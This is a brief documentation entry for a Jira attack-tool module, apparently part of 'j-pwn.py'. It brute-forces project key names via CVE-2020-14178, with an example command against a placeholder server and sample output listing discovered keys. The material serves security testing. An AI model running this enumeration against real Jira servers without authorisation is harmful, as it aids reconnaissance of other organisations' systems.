CVE-2020-14178 Brute

Category: [Info Disclosure | Enumeration]

[CG] This module attempts to brute force projectkey names against the url: /browse.{project_key}

module name: cve_2020_14178_brute

url: {url}/rest/api/2/project/{project_key}

Example run:

python3 j-pwn.py --single https://JIRASERVER   --module cve_2020_14178_brute --path /jira/ --start_id 2 --end_id 2

[Testing URL]: https://JIRASERVER/jira/browse.AA
[Testing URL]: https://JIRASERVER/jira/browse.FF
[Testing URL]: https://JIRASERVER/jira/browse.KK
+ Found ProjectKey: KM | URL: https://JIRASERVER/jira/browse.KM
[Testing URL]: https://JIRASERVER/jira/browse.AD
+ Found ProjectKey: PS | URL: https://JIRASERVER/jira/browse.PS
[Testing URL]: https://JIRASERVER/jira/browse.PT
...
+ Vulnerabilities Found:
+ [Info Disclosure - ProjectKey Enumeration] Found ProjectKey: KM | URL: https://JIRASERVER/jira/browse.KM
+ [Info Disclosure - ProjectKey Enumeration] Found ProjectKey: PS | URL: https://JIRASERVER/jira/browse.PS